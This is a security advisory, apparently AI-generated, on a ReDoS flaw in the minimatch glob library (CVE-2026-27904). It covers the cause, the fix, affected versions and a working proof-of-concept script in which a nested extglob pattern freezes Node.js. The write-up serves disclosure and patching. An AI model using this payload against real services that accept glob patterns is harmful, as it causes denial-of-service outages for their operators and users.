CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Dashboard
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-27904
7.50.04%

The Infinite Loop of Doom: Unpacking CVE-2026-27904 in Minimatch

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 27, 2026·4 min read·9 visits

PoC Available

Executive Summary (TL;DR)

A ReDoS vulnerability in `minimatch` allows attackers to cause a Denial of Service via nested extended glob patterns (e.g., `*(*(*(a|b)))`). This affects nearly all versions prior to Feb 2026. Update immediately.

Minimatch, the ubiquitous JavaScript glob matcher that likely powers your entire build pipeline, has a nasty habit of choking on its own logic. A specifically crafted 'extglob' pattern can trick the library into generating a Regular Expression with catastrophic backtracking potential. This allows a remote attacker to freeze the Node.js event loop with a payload smaller than a tweet, turning your high-performance application into a very expensive paperweight.

The Hook: The Glob That Ate The World

If you write JavaScript, you use minimatch. You might not know it, but you do. It's the engine under the hood of glob, which is under the hood of rimraf, eslint, and pretty much every build tool in existence. Its job is simple: take a shell-style wildcard string (like src/**/*.js) and turn it into a Regular Expression that JavaScript's V8 engine can understand.

But here's the thing about translating logic languages: it's really easy to accidentally create a monster. In CVE-2026-27904, the monster is hiding in 'extglobs'—extended glob patterns like *(pattern) (zero or more) or +(pattern) (one or more).

The vulnerability is a classic case of "it seemed like a good idea at the time." The library allowed users to nest these patterns indefinitely. And when you nest patterns that represent unbounded repetition, you aren't just creating a complex regex; you are creating a mathematical black hole.

The Flaw: Exponential Pain

To understand why this breaks, we have to look at how minimatch translates these globs. When you provide a pattern like *(a|b), minimatch converts it into a regex equivalent to (a|b)*. That's fine. V8 can handle that while sleeping.

The problem arises when you get recursive. A pattern like *(*(*(a|b))) is translated into a regex structure resembling ((((a|b)*)*)*).

> [!WARNING] > Catastrophic Backtracking Alert: In a backtracking regex engine, nested quantifiers are deadly. If the engine fails to find a match (e.g., on a string of aaaa... ending in z), it tries to backtrack and rearrange how the inner groups matched the characters.

With three levels of nesting, the complexity is manageable. But the complexity grows exponentially. A 12-byte pattern combined with an 18-byte input string is enough to stall the single-threaded Node.js event loop for over 7 seconds. Add a few more characters, and the sun will explode before your server sends a response.

The Code: Flattening the Curve

The fix, implemented in commit 11d0df6 (and others), is a masterclass in pragmatic optimization. The maintainers realized that mathematically, *(*(pattern)) is redundant. It essentially asks for "zero or more of (zero or more of pattern)". That is logically identical to just "zero or more of pattern".

To fix this, they introduced an optimization pass that flattens these nested structures before they ever become regexes. They verify if a parent extglob can "adopt" a child extglob.

Here is the logic in a nutshell:

// Conceptual logic of the fix
if (this.type === '*' && child.type === '*') {
  // *(*(a)) becomes *(a)
  this.patternList = child.patternList;
}

Furthermore, they added a hard stop. A new maxExtglobRecursion limit (defaulting to 2) prevents the parser from going down the rabbit hole. If a pattern nests deeper than that and cannot be flattened, minimatch now simply refuses to treat it as a glob, interpreting the characters literally. It’s the coding equivalent of a parent saying, "Because I said so."

The Exploit: 12 Bytes to Death

Exploiting this is embarrassingly easy. You don't need heap spraying or ROP chains. You just need an input field that accepts a glob pattern. This could be a file search feature, a .gitignore parser, or a route config.

Here is the Proof of Concept (PoC) that kills the process:

const { minimatch } = require('minimatch');
 
// The payload: deeply nested, redundant wildcards
const pattern = "*(*(*(a|b)))"; 
 
// The trigger: A string that almost matches, but fails at the end
const input = "a".repeat(25) + "z"; 
 
console.log("Starting match...");
console.time('death');
 
// This line effectively freezes the process
minimatch(input, pattern);
 
console.timeEnd('death');

If you run this on a vulnerable version (e.g., v9.0.0), your terminal will hang. If this were a web server, every other request would be queued behind this operation, causing a complete denial of service.

The Impact: Why You Should Care

You might be thinking, "Who lets users type raw glob patterns?" You'd be surprised.

  1. SaaS Build Tools: CI/CD pipelines often allow users to define artifacts using globs in YAML files. An attacker could stall the build runners.
  2. Linting Services: Online code analysis tools often use minimatch to exclude files.
  3. Search Filters: Advanced search APIs often support wildcard syntax that gets passed directly to these libraries.

Because Node.js is single-threaded, a ReDoS is not just a slow request—it is a total service outage. The CPU hits 100%, the event loop blocks, and health checks fail. Kubernetes will likely kill and restart the pod, but if the attack is persistent or part of a config file, the service enters a crash loop.

Official Patches

isaacsGitHub Commit fixing the recursion issue

Fix Analysis (1)

Technical Appendix

CVSS Score
7.5/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Probability
0.04%
Top 88% most exploited

Affected Systems

Node.js ApplicationsBuild Tools (Webpack, Gulp, Grunt)Linting Tools (ESLint, Prettier)File System Utilities (rimraf, glob)

Affected Versions Detail

Product
Affected Versions
Fixed Version
minimatch
isaacs
>= 10.0.0, < 10.2.310.2.3
minimatch
isaacs
>= 9.0.0, < 9.0.79.0.7
minimatch
isaacs
< 3.1.43.1.4
AttributeDetail
CWE IDCWE-1333
Attack VectorNetwork
CVSS Score7.5 (High)
EPSS Score0.0004
Exploit StatusPoC Available
ImpactDenial of Service

MITRE ATT&CK Mapping

T1499.003Endpoint Denial of Service: OS Exhaustion
Impact
CWE-1333
Inefficient Regular Expression Complexity

The software uses a regular expression that can take an exponential amount of time to evaluate specific inputs.

Known Exploits & Detection

PoC12-byte nested extglob pattern triggers exponential backtracking.

Vulnerability Timeline

Fix committed to GitHub
2026-02-21
CVE Published
2026-02-26

References & Sources

  • [1]GitHub Security Advisory
  • [2]NVD Entry

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.